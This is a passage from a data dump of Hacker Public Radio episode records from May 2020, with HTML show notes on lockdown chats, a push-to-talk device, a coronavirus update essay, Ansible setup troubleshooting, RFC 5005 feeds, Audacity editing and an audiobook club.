                                                              • \n
                                                            • \n
                                                            • Handling enforced isolation; the response to COVID-19
                                                            • \n
                                                            • The type of disposable masks sold for DIY use can be impractical
                                                            • \n
                                                            • Supermarket online shopping and delivery versus local shopping
                                                            • \n
                                                            • The etiquette of distancing when out walking or cycling for exercise during the lockdown
                                                            • \n
                                                            • Cycling anecdotes\n
                                                            • \n
                                                            • Industrial archaeology and historical buildings\n
                                                            • \n
                                                            • Electronics\n
                                                            • \n
                                                            • D&D sessions\n
                                                                \n
                                                              • Initiated by Klaatu in New Zealand
                                                              • \n
                                                            • \n
                                                            • Shortages during the pandemic: toilet rolls, flour, etc\n
                                                                \n
                                                              • Supply chains: wholesale versus domestic
                                                              • \n
                                                            • \n
                                                            • Dracula by Bram Stoker\n
                                                                \n
                                                              • Whitby, Yorkshire
                                                              • \n
                                                              • Brașov, Transylvania, Romania.\n
                                                                  \n
                                                                • Called Corona at one point in its history.
                                                                • \n
                                                                • Near to Bran Castle, known outside Romania as Dracula’s Castle.
                                                                • \n
                                                              • \n
                                                            • \n
                                                            \n

                                                            Links

                                                            \n
                                                              \n
                                                            • Pittenweem, a fishing village in Fife
                                                            • \n
                                                            • Cromer, a town on the Norfolk coast, famous for its crabs
                                                            • \n
                                                            • Whitby, a seaside town in North Yorkshire
                                                            • \n
                                                            \n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Virus,Virion,COVID-19","version":0,"downloads":0,"valid":1}, {"id":3077,"date":"2020-05-19","title":"Video conference Push to Talk","duration":457,"summary":"Building the push to talk button missing from many video conference tools","notes":"

                                                            For the sake of archival, \"state of the world\" refers to the COVID-19 pandemic.

                                                            \n

                                                            The code and CAD files for this project can be found here.

                                                            \n

                                                            Relevant links:

                                                            \n
                                                              \n
                                                            • PulseAudio is the sound server used by many Linux distributions
                                                            • \n
                                                            • pulsectl is a Python library that allows you to control a PulseAudio server
                                                            • \n
                                                            • NeoPixels are cool addressable LEDs
                                                            • \n
                                                            • The Teensy is a small but powerful microcontroller development board
                                                            • \n
                                                            • pySerial is a library allowing you to use serial ports in Python
                                                            • \n
                                                            • PlatformIO is a tool for making software development for embedded platforms easy
                                                            • \n
                                                            \n

                                                            Early prototype:
                                                            \n\"Electronic

                                                            \n

                                                            Assembled electronics fitted into case ready to be closed:
                                                            \n\"Electronics

                                                            \n

                                                            View of the top of the case, showing Cherry switch and NeoPixel LED indicator:
                                                            \n\"View

                                                            \n

                                                            View of the bottom of the case, showing USB port and some of the nicer M3 screws from my parts bin:
                                                            \n\"View

                                                            \n

                                                            Plugged in and powered on, showing the muted state:
                                                            \n\"Device

                                                            \n

                                                            Button pushed, showing the unmuted/mic live state:
                                                            \n\"Device

                                                            \n","hostid":386,"series":103,"explicit":1,"license":"CC-BY-SA","tags":"arduino, linux audio, electronics, hardware","version":0,"downloads":0,"valid":1}, {"id":3078,"date":"2020-05-20","title":"Coronavirus Update 2020-05-07","duration":878,"summary":"Where we are with this pandemic, and how should we respond?","notes":"

                                                            This is an update to my earlier show to pull together what we know about the Coronavirus on this date, and what measures we can take. It focuses on the lack of solid information at this point and suggests a prudent course to stay safe. https://www.palain.com/health-topics/coronavirus-update-20200507/

                                                            \n\n\n
                                                            \n\n

                                                            \nExtracted from Palain.com under the tearms of Creative Commons Attribution-ShareAlike 4.0 International License. \n

                                                            \n\n

                                                            Coronavirus Update 20200507

                                                            \n\n

                                                            The coronavirus pandemic is continuing throughout most of the world, and I wanted to put down some observations on where we stand today. First, note that I put the date in the title. This is because the situation in some ways changes day-by-day, even though there are continuities. That makes it a dangerous place to be because it is human nature to look for the latest news and jump on it if it looks good. And that is a prime mistake because we do not in fact know enough at this point to be confident in these news reports. I would refer you to my earlier essay, Scientific and Medical Reports, which is highly relevant right now. While I could not have predicted this pandemic when I wrote it, it contains basic principles that are always relevant.

                                                            \n\n\n\n

                                                            The nature of the press is that it is like the carnivorous plant in the movie Little Shop of Horrors, always crying \"Feed Me!\" And of course we are all interested if not to say anxious for any news on the course of this disease and where it is taking us. What this means is that you will see a unstoppable stream of news stories touting the latest study on one or another aspect of this. Add in the desire of politicians to spin things to their advantage, and you have a recipe for disaster. To keep sane, remember a few basic principles:

                                                            \n\n\n\n
                                                            • One study proves nothing. There are lots of studies, and many of them are one-and-done without having any effect on medical practice. If there is an interesting result, it merely indicates an area for further study.
                                                            • Study results are only meaningful when they have withstood peer review and have been replicated by other scientists. This process does produce good results, but only with time. Only in movies do scientists go into the lab and come out 24 hours later with the answer.
                                                            • If you really want to know when all of this will end, there are only two answers. It can end very soon with an accompanying loss of life because the virus is still spreading. This is starting to show up in places that ignore the science. Going outside without a mask and carrying on as usual is not brave, it is stupid.
                                                            • The other answer is that a gradual relaxation of isolation can happen if it guided by sound science. Unfortunately, as just explained, that sound science is still being sought, and will take time.
                                                            • When you see the vast majority of doctors and scientists saying the same thing, that is your best assurance the information is accurate.
                                                            • Right now the number one priority is testing, testing, testing.
                                                            \n\n\n\n

                                                            So, with that background, do we know anything at this point? Yes, we do. But we also have a lot of unanswered questions.

                                                            \n\n\n\n

                                                            Second Wave?

                                                            \n\n\n\n

                                                            The first big question is whether there will be a second wave, and this is something that every qualified epidemiologist I have heard from says is guaranteed. And the reason is that a certain \"fatigue\" sets in with staying in isolation, and at least some people will convince themselves they don’t need to do it. They are wrong, and they will guarantee that second wave. In the 1918 Flu Pandemic, the second wave was far worse than the first wave. And don’t forget there was a third wave in that pandemic until it petered out in 1920. The best thing you can do is keep isolated if at all possible, and follow all of the guidelines:

                                                            \n\n\n\n
                                                            • Wear a mask if you must go out, such as for groceries.
                                                            • Many stores are offering special hours for seniors. If you are one, take advantage.
                                                            • After a shopping trip, wash or disinfect items carefully. Remember that soap is all you need to defeat the virus, but use disinfectant wipes when soap is not practical.
                                                            • After returning, strip and place all of your clothes in the washer. The detergent should kill any virus that is there.
                                                            • Wash your hands with soap frequently.
                                                            • Try not to touch your face.
                                                            • Maintain at least two meters distance from anyone not in your household when you do go out.
                                                            • Try to stay fit. I go for walks in my neighborhood if there aren’t too many others out, and when there is someone else out, I give them a wide separation. I also do gardening in my own yard, and exercise in my home. That won’t prevent you from getting the disease, but it may prevent you from dying of it.
                                                            \n\n\n\n

                                                            Yeah, this is all of the stuff we have been hearing all along. But annoying as it is, it does work if you do it.

                                                            \n\n\n\n

                                                            Is the virus mutating?

                                                            \n\n\n\n

                                                            Yes. In other news, water is wet. Face it, mutation is what organisms do, and that has been true for billions of years. The question you really have is \"Is it getting worse?\" And right now the answer is \"We don’t know.\" Sorry I can’t give you any more determinative answer, but we are only at the \"one study\" phase right now, and we are a ways off from the \"peer-reviewed, replicated consensus\" phase that will resolve this. There are indications that at least this virus does not mutate as much as influenza, but even that may require more study.

                                                            \n\n\n\n

                                                            Am I Immune?

                                                            \n\n\n\n

                                                            We would all love to know if we are immune. This requires two big things to give a good answer. First, does having the disease and then recovering give you immunity? And the sad truth is that we don’t know yet. The common cold is a coronavirus, and you never get immunity. Influenza is a virus, and getting it one year provides no immunity the next. And if getting it once does provide immunity, we still need testing to discover this. The number one priority right now in all locations should be testing, testing, testing. That is the prerequisite for doing any decent epidemiology. There was a report (note: one study) out of South Korea that indicated that some people could get the disease twice, but they re-analyzed the data and decided that it might have been false positives. That is the kind of thing that happens when scientists are trying to do a year’s worth of work in few weeks, which is what they are doing.

                                                            \n\n\n\n

                                                            Is It More Infectious Than We Thought?

                                                            \n\n\n\n

                                                            Again, very unclear. And even less clear is what this implies. An argument is being made that if the rate of infection is higher, given the number of deaths, that would imply it is less lethal. And that is being used to argue in favor of this not being a big deal, so reopen everything. But to put it in perspective, in the 2017-2018 flu season, which was on the high end of deaths, we had 61 thousand deaths in the U.S. Today, in just over 2 months, we have 75 thousand deaths in the US, and that is with all of the extraordinary measures we put in place to keep people safe. To make an argument that Covid-19 is no more dangerous than the flu is to be criminally stupid at best.

                                                            \n\n\n\n

                                                            Didn’t They Predict More Deaths?

                                                            \n\n\n\n

                                                            Why yes, they did. A widely used model in the US is from the Institute for Health Metrics and Evaluation (IHME), at the University of Washington. And they have issued forecasts that ranged from hundreds of thousands of deaths to around 60,000 deaths. Clearly they have no idea what they are doing, right? Not so fast. As the statistician George Box famously said, \"All models are wrong but some are useful\". In this case you have to factor in two things. One is uncertainty, of course. To forecast how many people will die, it helps to know how many people have died, and this has been subject to fierce debate.

                                                            \n\n\n\n

                                                            And here it gets difficult, since one argument is over what counts as a Covid-19 death. And since every one of our 50 states has their own health reporting system, there is a wide disparity. One example of this is the idea of \"excess deaths\". If a given area has a pretty regular death rate for a number of years, and suddenly that death rate jumps 500% in the midst of a pandemic, it is reasonable to suspect those \"excess deaths\" are a result of the coronavirus. But if those deaths get counted, others will argue that it is inflating the numbers, and that only a positive coronavirus serum test should count. Since each state does this differently, this leads to the odd result that the disease appears more or less lethal depending on your state of residence. And that means politicians have incentive to get the numbers they want.

                                                            \n\n\n\n

                                                            The other factor complicating things is the phenomenon known as the \"self-preventing\" prophecy. You see, the initial high estimates tended to be \"This is what will happen if you don’t take strong measures\", and of course they were very high. And we know that governments like the UK and the US looked at those predictions, and started to take some stronger measures. So after a little bit, new predictions came out that were lower as a result of those measures. And now we are seeing misguided efforts to get people to go out and resume normal life, and as a result the newest forecasts are going up again. This is a feedback loop, in other words.

                                                            \n\n","hostid":198,"series":100,"explicit":0,"license":"CC-BY-SA","tags":"Health, Coronavirus","version":0,"downloads":0,"valid":1}, {"id":3079,"date":"2020-05-21","title":"Linux Inlaws S01E06 Porn and Trump","duration":4779,"summary":"The lads discuss Audacity, KDEnlive, Blender, PwC, The Current War, Better Things, and Pamela Adlon","notes":"

                                                            This is Linux Inlaws, a series on free and open source software, black humour, the revolution and freedom in general (this includes ideas and software) and generally having fun.

                                                            \n

                                                            Linux Inlaws - a podcast about on topics around free and open source software, any associated contraband, communism / the revolution in general and whatever else fancies your tickle.

                                                            \n

                                                            Please note that this and other episodes may contain strong language, offensive humor and other certainly not politically correct language - you have been warned (our parents insisted on this disclaimer - happy mum?). Thus the content is not suitable for consumption in the workplace (especially when played back on a speaker in an open plan office or similar environments), any minors under the age of 35 or any pets including fluffy little killer bunnies, your trusty guide dog (unless on speed) and cute T-Rexes or other associated dinosaurs.

                                                            \n

                                                            Links:

                                                            \n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"Audacity, KDEnlive, Blender, PwC mishap, The Current War, Better Things, Pamela Adlon","version":0,"downloads":0,"valid":1}, {"id":3080,"date":"2020-05-22","title":"Ansible ping","duration":440,"summary":"Troubleshooting a basic install of Ansible","notes":"Here are some steps you need to should take when setting up Ansible for the first time.\n\n\n\n

                                                            Install the software

                                                            \nFirst you need to install the Ansible software. On Fedora that is as simple as a dnf install ansible, or on debian apt install ansible.\n\n

                                                            Confirm ssh working

                                                            \n\nConfirm that you can connect to the servers via ssh as you would normally.\n\n
                                                            ssh -i /home/my_user/.ssh/id_ed25519_pi my_user@192.168.0.1\nssh -i /home/my_user/.ssh/id_ed25519_pi your_username@192.168.1.2\n
                                                            \n\n

                                                            Create a Inventory/Host file

                                                            \n\nTranslate the ssh commands into a Inventory/Host file. I am using a YAML in this example but other variants are available.\n\n
                                                            all:\n  hosts:\n    my_server:\n      ansible_host: 192.168.0.1\n    your_server:\n      ansible_host: 192.168.1.2\n      ansible_ssh_user: your_username\n  vars:\n    ansible_connection: ssh\n    ansible_ssh_user: my_user\n    ansible_ssh_private_key_file: /home/my_user/.ssh/id_ed25519_pi\n
                                                            \n\n

                                                            Ansible Ping

                                                            \nCheck that your server is up and reported correctly in your file by having Ansible ping it. This should allow you to determine if at least there is a command and control connection available.\n\n
                                                            ansible --inventory-file my_inventory.yaml -m ping all\n
                                                            \n\nThis uses the group all and will ping all servers under it. The reply below shows a positive and negative response. \n\n
                                                            my_server | SUCCESS => {\n    \"ansible_facts\": {\n        \"discovered_interpreter_python\": \"/usr/bin/python\"\n    },\n    \"changed\": false,\n    \"ping\": \"pong\"\n}\nyour_server | UNREACHABLE! => {\n    \"changed\": false,\n    \"msg\": \"Failed to connect to the host via ssh: ssh: connect to host 192.168.1.2 port 22: No route to host\",\n    \"unreachable\": true\n}\n
                                                            \n\nThe msg will give you a clue as to what is going wrong and you should try to ssh directly with the Ansible credentials again, and then try and ping using Ansible.\n
                                                            ansible --inventory-file my_inventory.yaml -m ping your_server\n
                                                            \n\nModify the Inventory file until you have managed to get a successful reply. \n\n

                                                            Create a playbook

                                                            \n\nWork on your playbook and verify that it is valid yaml.\n\n
                                                            ---\n- name: Test Ping\n  hosts: all\n  tasks:\n  - action: ping\n
                                                            \n\n

                                                            Confirm the YAML is valid

                                                            \nIf there is no reply all is good.\n
                                                            yamllint ~/my_example.yaml\n
                                                            \n\nIf there is no reply all is good. For your reference I will remove the --- line and this is the response.\n
                                                            yamllint ~/my_example.yaml\n/home/user/my_example.yaml\n  1:1       warning  missing document start \"---\"  (document-start)\n
                                                            \n\n

                                                            Confirm the syntax is valid

                                                            \nThen verify that the playbook is sane\n
                                                            ansible-playbook --syntax-check ~/my_example.yaml\n
                                                            \n\nIf there is no reply all is good. For your reference I will remove the hosts line and this is the response.\n
                                                            ansible-playbook --syntax-check ~/my_example.yaml\nERROR! the field 'hosts' is required but was not set\n
                                                            \n\n

                                                            Confirm everything works together

                                                            \n\nAfter that you should be able to run the playbook using.\n\n
                                                            ansible-playbook --inventory-file my_inventory.yaml ~/my_example.yaml\n\nPLAY [Test Ping] ***************************************************************************************************\n\nTASK [Gathering Facts] *********************************************************************************************\n[WARNING]: Platform linux on host my_server is using the discovered Python interpreter at /usr/bin/python, but\nfuture installation of another Python interpreter could change this. See\nhttps://docs.ansible.com/ansible/2.9/reference_appendices/interpreter_discovery.html for more information.\nok: [my_server]\nfatal: [your_server]: UNREACHABLE! => {\"changed\": false, \"msg\": \"Failed to connect to the host via ssh: ssh: connect to host 192.168.1.2 port 22: No route to host\", \"unreachable\": true}\n\nTASK [ping] ********************************************************************************************************\nok: [my_server]\n\nPLAY RECAP *********************************************************************************************************\nmy_server                  : ok=2    changed=0    unreachable=0    failed=0    skipped=0    rescued=0    ignored=0   \nyour_server                : ok=0    changed=0    unreachable=1    failed=0    skipped=0    rescued=0    ignored=0\n
                                                            \n","hostid":30,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"ansible, ping, ssh","version":0,"downloads":0,"valid":1}, {"id":3081,"date":"2020-05-25","title":"Why do formal verification?","duration":1120,"summary":"Tuula talks about testing and formal verification of software","notes":"

                                                            In episode 3057 I talked about formal verification of software and forgot to mention why one would want to do it. This episode hopefully answers to that.

                                                            \n

                                                            While formal verification is powerful tool, it’s also rather cumbersome and slow to use. In some cases you’re better off with traditional ways of testing.

                                                            ","hostid":364,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"testing, verification, mathematics","version":0,"downloads":0,"valid":1}, {"id":3082,"date":"2020-05-26","title":"RFC 5005 Part 1 – Paged and archived feeds? Who cares?","duration":2108,"summary":"An interview with two passionate RFC 5005 fans on how to handle big Atom feeds","notes":"

                                                            This conversation took almost an hour, so I split it into two shows:

                                                            \n\n
                                                              \n
                                                            • Part 1 talks mostly about the RFC itself, what it means and why.
                                                            • \n
                                                            • Part 2 goes into personal experiences with the RFC and with syndication in general, in particular in the context of web comics. This is part 1.
                                                            • \n
                                                            \n\n

                                                            The why

                                                            \n\n

                                                            When serving most RSS/Atom feed readers today, you have to choose: Do you make a complete feed with all the things you ever published, or do you make a shorter feed with just the latest entries?

                                                            \n\n

                                                            This is a trade-off with pros and cons, and it seems like a trade-off you have to make, but a solution to let your Atom feed have the cake and eat it too existed already 13 years ago, if only any of our feed readers would adhere to it: RFC 5005, Feed Paging and Archiving

                                                            \n\n

                                                            The what

                                                            \n\n

                                                            https://tools.ietf.org/html/rfc5005 was published in September 2007

                                                            \n\n
                                                              \n
                                                            • The XML namespace for RFC 5005 elements is https://purl.org/syndication/history/1.0, aliased as fh below.
                                                            • \n
                                                            • Section 2 defines the complete feed: It is one document (Atom file) that contains the entire set the feed describes. The document is marked with an fh:complete element.
                                                            • \n
                                                            • Section 3 defines the paged feed: It is a series of documents connected with Atom link elements with rel set to the link relations first, last, previous or next.
                                                            • \n
                                                            • Section 4 defines the archived feed: It has a subscription document that may change at any time, and a series of archive documents that are expected to have stable contents and URIs. The link relations defined are current, prev-archive and next-archive. The semantics are clearer: prev-archive refers to previously published entries, and because the contents are stable you can stop when you see a URI to a document you already have. Archive documents are marked with the fh:archive element.
                                                            • \n
                                                            \n\n

                                                            The who

                                                            \n\n

                                                            In this show I’m talking to:

                                                            \n\n

                                                            fluffy

                                                            \n\n\n\n

                                                            Jamey

                                                            \n\n\n\n

                                                            Conversation notes

                                                            \n\n
                                                              \n
                                                            • Google Reader was terminated 2013-07-01, all subscription data permanently gone on 2013-07-15:
                                                              \nhttps://www.google.com/reader/about/
                                                            • \n
                                                            • Mastodon had Atom feeds with paging, but the feeds went away when OStatus went away:
                                                              \nhttps://github.com/tootsuite/mastodon/pull/11247
                                                            • \n
                                                            • HTML4 does indeed define the HTML link relations:
                                                              \nhttps://www.w3.org/TR/html4/types.html#h-6.12
                                                              \nIt has prev rather than the previous of RFC 5005, but mentions that some browsers support previous as an alias.
                                                            • \n
                                                            • HTML5 also defines the HTML link relations:
                                                              \nhttps://html.spec.whatwg.org/multipage/links.html
                                                              \nHere previous is a lower-case must for historical reasons.
                                                            • \n
                                                            • IANA manages the Registry of Link Relations:
                                                              \nhttps://www.iana.org/assignments/link-relations/link-relations.xhtml
                                                              \nIt references RFC 5005 for the Section 4 relations, but not the Section 3 ones.
                                                            • \n
                                                            • RFC 5005 singles out its own Section 3 (Paged Feeds) as the best-effort, loose, discouraged model.\n
                                                                \n
                                                              • Section 3:\n
                                                                Therefore, clients SHOULD NOT present paged feeds as coherent or complete, or make assumptions to that effect.
                                                                \n
                                                              • \n
                                                              • Section 4:\n
                                                                Unlike paged feeds, archived feeds enable clients to do this without losing entries.
                                                                \n
                                                              • \n
                                                              \n
                                                            • \n
                                                            • I’m confused about it in the show, but the RFC is clear that an archived feed has one dynamic subscription document, which points to a chain of immutable archive documents.
                                                            • \n
                                                            • Back in 2002, Aaron Swartz published his joke MIME-header-based RSS 3:
                                                              \nhttps://www.aaronsw.com/weblog/000574
                                                              \nThe cultural context at the time and the rivalry between RSS 0.91+, RSS 1.0, RSS 2.0 and Atom deserves a show of its own.
                                                            • \n
                                                            \n","hostid":311,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"rss,atom,rfc,interview,feedreader,podcatcher","version":0,"downloads":0,"valid":1}, {"id":3083,"date":"2020-05-27","title":"Mumbling while on lockdown","duration":3021,"summary":"Two Edinburgh-based hosts have a chat from their respective houses","notes":"

                                                            Introduction

                                                            \n

                                                            Two HPR hosts based in Edinburgh got together over Mumble to have a chat during the COVID-19 lockdown.

                                                            \n\n

                                                            Apology

                                                            \n

                                                            Dave’s sound was a bit distorted in this recording. Having had recent problems using the Zoom recorder as a microphone, this time the in-built microphone was resorted to, with even worse results it turned out. See the Sound processing section below if you want to know more.

                                                            \n

                                                            Notes

                                                            \n

                                                            Some of the topics we discussed

                                                            \n
                                                              \n
                                                            • Locations for recording. Ambient noises.
                                                            • \n
                                                            • WiFi versus ethernet. Dave has a 5-port switch on his dining table (not 8-port).
                                                            • \n
                                                            • ADSL routers
                                                            • \n
                                                            • Linksys NSLU2 \"SLUG\"
                                                            • \n
                                                            • SheevaPlug
                                                            • \n
                                                            • CUPS - printing and scanning with old non-networked printers
                                                            • \n
                                                            • Legacy computing experiences:\n
                                                                \n
                                                              • Diablo exchangeable disks
                                                              • \n
                                                              • Line printers. Fan-fold 132 column paper
                                                              • \n
                                                              • Punched card experiences. Card sequence numbers. Card sorters.
                                                              • \n
                                                              • Checking disks for warped platters
                                                              • \n
                                                              • Magnetic tapes; recovering from damage.
                                                              • \n
                                                            • \n
                                                            • 8-track tapes
                                                            • \n
                                                            • Museum of Communication, Fife\n
                                                                \n
                                                              • Strowger switch electromechanical stepping switch telephone exchange system
                                                              • \n
                                                            • \n
                                                            \n

                                                            Links

                                                            \n\n

                                                            Sound processing

                                                            \n

                                                            The recording was made in multichannel mode in anticipation of problems. The distorted channel was processed by using the Clip Fix effect in Audacity, which didn’t seem to change much except reduce the sound level. It was also necessary to find and remove sounds produced by the push to talk key presses. Removal meant replacing these sounds by silence so the two channels would not get out of step. After this the two channels were merged together and silences truncated.

                                                            \n

                                                            Lessons learned: don’t use a built-in microphone if you can help it!

                                                            \n\n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"COVID-19,lockdown","version":0,"downloads":0,"valid":1}, {"id":3084,"date":"2020-05-28","title":"AudioBookClub 18 - Star Trek: The Continuing Mission","duration":6017,"summary":"The HPR Audiobook Club reviews the fan audio drama Star Trek: The Continuing Mission","notes":"

                                                            In this episode, the HPR_AudioBookClub discusses Star Trek The Continuing Mission created by Sebastian Prooth and Andy Tyrer.

                                                            \n
                                                            \n

                                                            Non-Spoiler Thoughts

                                                            \n
                                                            \n
                                                              \n
                                                            • Thaj misses Star Trek, and this made me realize that (this has since changed)
                                                            • \n
                                                            • Voice acting is very good.
                                                            • \n
                                                            • It's hard to translate things like starship combat into an audio drama.
                                                            • \n
                                                            • Background sounds really sell the structure of these episodes as Star Trek.
                                                            • \n
                                                            • This proves that an abundance of canon is not a reason to reboot things. This finds a niche in an unexplored part of the timeline and works.
                                                            • \n
                                                            • The warp sound effect for jumping to warp is weird.
                                                            • \n
                                                            • We think LostnBronx should write a StarDrfiter Audiodrama for us to produce.
                                                            • \n
                                                            \n

                                                            Beverage Reviews

                                                            \n
                                                            \n

                                                            As usual, the HPR AudioBook Club took some time to review the beverages that each of us were drinking during the episode

                                                            \n
                                                              \n
                                                            • Thaj: Water and something from Kroger that I think resembles chocolate ice cream.
                                                            • \n
                                                            • x1101: Throwback style Mt. Dew made with real, diabetes inducing, sugar
                                                            • \n
                                                            • pokey: Led Light Bulbs....wait what?!?!
                                                            • \n
                                                            • FiftyOneFifty: Johnny Walker Black
                                                            • \n
                                                            \n

                                                            Things We talked about

                                                            \n
                                                            \n
                                                              \n
                                                            • Recasting the captain was a bad idea.
                                                            • \n
                                                            • Thaj hates Cthulhu episodes of scifi shows.
                                                            • \n
                                                            • Which Star Trek is the best (the correct answer is DS9)
                                                            • \n
                                                            • Star Trek as an allegory for the real world.
                                                            • \n
                                                            • Pokey doesn't like time travel in Star Trek.
                                                            • \n
                                                            • And...we're back on DS9
                                                            • \n
                                                            • We geek about the different types of ships in Trek.
                                                            • \n
                                                            • Since we didn't talk about the audio drama that much, we did actually like it.
                                                            • \n
                                                            \n

                                                            Our Next Audiobook

                                                            \n
                                                            \n

                                                            Tincture, An Apocalyptic Proposition

                                                            \n

                                                            The Next Audiobook Club Recording

                                                            \n
                                                            \n

                                                            Right now we are working through a backlog of older episode that have already been recorded. Once that ends we fully anticipate recording new episodes with listener participation.

                                                            \n

                                                            Further Recommendations

                                                            \n
                                                            \n\n

                                                            Feedback

                                                            \n
                                                            \n

                                                            Thank you very much for listening to this episode of the HPR AudioBookClub. We had a great time recording this show, and we hope you enjoyed it as well. We also hope you'll consider joining us next time we record a new episode. Please leave a few words in the episode's comment section.

                                                            \n

                                                            As always; remember to visit the HPR contribution page HPR could really use your help right now.

                                                            \n

                                                            Sincerely, The HPR Audiobook Club

                                                            \n

                                                            P.S. Some people really like finding mistakes. For their enjoyment, we always include a few.

                                                            \n

                                                            Our Audio

                                                            \n
                                                            \n

                                                            This episode was processed using Audacity. We've been making small adjustments to our audio mix each month in order to get the best possible sound. Its been especially challenging getting all of our voices relatively level, because everyone has their own unique setup. Mumble is great for bringing us all together, and for recording, but it's not good at making everyone's voice the same volume. We're pretty happy with the way this month's show turned out, so we'd like to share our editing process and settings with you and our future selves (who, of course, will have forgotten all this by then).

                                                            \n

                                                            We use the \"Truncate Silence\" effect with it's default settings to minimize the silence between people speaking. When used with it's default (or at least reasonable) settings, Truncate Silence is extremely effective and satisfying. It makes everyone sound smarter, it makes the file shorter without destroying actual content, and it makes a conversations sound as easy and fluid during playback as it was while it was recorded. It can be even more effective if you can train yourself to remain silent instead of saying \"uuuuummmm.\" Just remember to ONLY pass the file through Truncate Silence ONCE. If you pass it through a second time, or if you set it too aggressively your audio may sound sped up and choppy.

                                                            \n

                                                            Next we use the \"Compressor\" effect with the following settings:

                                                            \n
                                                            Threshold: -30db\nNoise Floor: -50db\nRatio: 3:1\nAttack Time: 0.2sec\nDecay Time: 1.0 sec\n
                                                            \n

                                                            \"Make-up Gain for 0db after compressing\" and \"compress based on peaks\" were both left un-checked.

                                                            \n

                                                            After compressing the audio we cut any pre-show and post-show chatter from the file and save them in a separate file for possible use as outtakes after the closing music.

                                                            \n

                                                            We adjust the Gain so that the VU meter in Audacity hovers around -12db while people are speaking, and we try to keep the peaks under -6db, and we adjust the Gain on each of the new tracks so that all volumes are similar, and more importantly comfortable. Once this is done we can \"Mix and Render\" all of our tracks into a single track for export to the .FLAC file which is uploaded to the HPR server.

                                                            \n

                                                            At this point we listen back to the whole file and we work on the shownotes. This is when we can cut out anything that needs to be cut, and we can also make sure that we put any links in the shownotes that were talked about during the recording of the show. We finish the shownotes before exporting the .aup file to .FLAC so that we can paste a copy of the shownotes into the audio file's metadata.

                                                            \n

                                                            At this point we add new, empty audio tracks into which we paste the intro, outro and possibly outtakes, and we rename each track accordingly.

                                                            \n

                                                            Remember to save often when using Audacity. We like to save after each of these steps. Audacity has a reputation for being \"crashy\" but if you remember save after every major transform, you will wonder how it ever got that reputation.

                                                            \n","hostid":270,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Audiobooks, Audio Drama, Star Trek","version":0,"downloads":0,"valid":1}, {"id":3085,"date":"2020-05-29","title":"Architectures of Robust Openness","duration":1142,"summary":"A look at how to secure social networks against attack while still being open to strangers.","notes":"

                                                            Social networks can be attacked by people who want to cause abuse and disruption, and one way to deal with that is to lock down the membership. But that goes against the idea of social, which should include being open to welcoming strangers. Mark Miller presents an analysis of how you can be both secure and welcoming which focuses on Object Capabilities. https://www.zwilnik.com/?page_id=1107

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":108,"explicit":0,"license":"CC-BY-SA","tags":"social media, alternative, Fediverse, ActivityPub, Security, OCaps","version":0,"downloads":0,"valid":1}, {"id":3086,"date":"2020-06-01","title":"HPR Community News for May 2020","duration":3253,"summary":"Dave and Ken talk about shows released and comments posted in May 2020","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nThere were no new hosts this month.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            3065Fri2020-05-01The case for the unattributed messageAhuka
                                                            3066Mon2020-05-04HPR Community News for April 2020HPR Volunteers
                                                            3067Tue2020-05-05Getting my Python3 code working in Python2MrX
                                                            3068Wed2020-05-06Keeping track of downloads in ElmTuula
                                                            3069Thu2020-05-07Linux Inlaws S01E05 Porn and Skynetmonochromec
                                                            3070Fri2020-05-08making vim xdg compatiblecrvs
                                                            3071Mon2020-05-11Bash snippet - quotes inside quoted stringsDave Morriss
                                                            3072Tue2020-05-12The joy of pip-tools and pyenv-virtualenvclacke
                                                            3073Wed2020-05-13Matchbox and Diecast RestorationTony Hughes AKA TonyH1212
                                                            3074Thu2020-05-14For your consideration - Escape PodKen Fallon
                                                            3075Fri2020-05-15Federated Blogging with WriteFreelyAhuka
                                                            3076Mon2020-05-18Keep calm and VirionDave Morriss
                                                            3077Tue2020-05-19Video conference Push to TalkDanNixon
                                                            3078Wed2020-05-20Coronavirus Update 2020-05-07Ahuka
                                                            3079Thu2020-05-21Linux Inlaws S01E06 Porn and Trumpmonochromec
                                                            3080Fri2020-05-22Ansible pingKen Fallon
                                                            3081Mon2020-05-25Why do formal verification?Tuula
                                                            3082Tue2020-05-26RFC 5005 Part 1 – Paged and archived feeds? Who cares?clacke
                                                            3083Wed2020-05-27Mumbling while on lockdownDave Morriss
                                                            3084Thu2020-05-28AudioBookClub 18 - Star Trek: The Continuing MissionThaj Sara
                                                            3085Fri2020-05-29Architectures of Robust OpennessAhuka
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 29 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 8 comments on\n4 previous shows:

                                                            \n
                                                              \n
                                                            • hpr3013\n(2020-02-19) \"Bash Tips - 21\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\nnobody on 2020-05-22:\n\"awk\"
                                                              • \n
                                                              • \nComment 4:\nDave Morriss on 2020-05-22:\n\"Response to 'nobody' re awk\"

                                                              \n
                                                            • hpr3053\n(2020-04-15) \"AudioBookClub 17 - Blood Witness\"\nby HPR_AudioBookClub.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nmordancy on 2020-05-28:\n\"Blood Witness\"

                                                              \n
                                                            • hpr3059\n(2020-04-23) \"A quick intro to Snapcast\"\nby DanNixon.
                                                            • \n
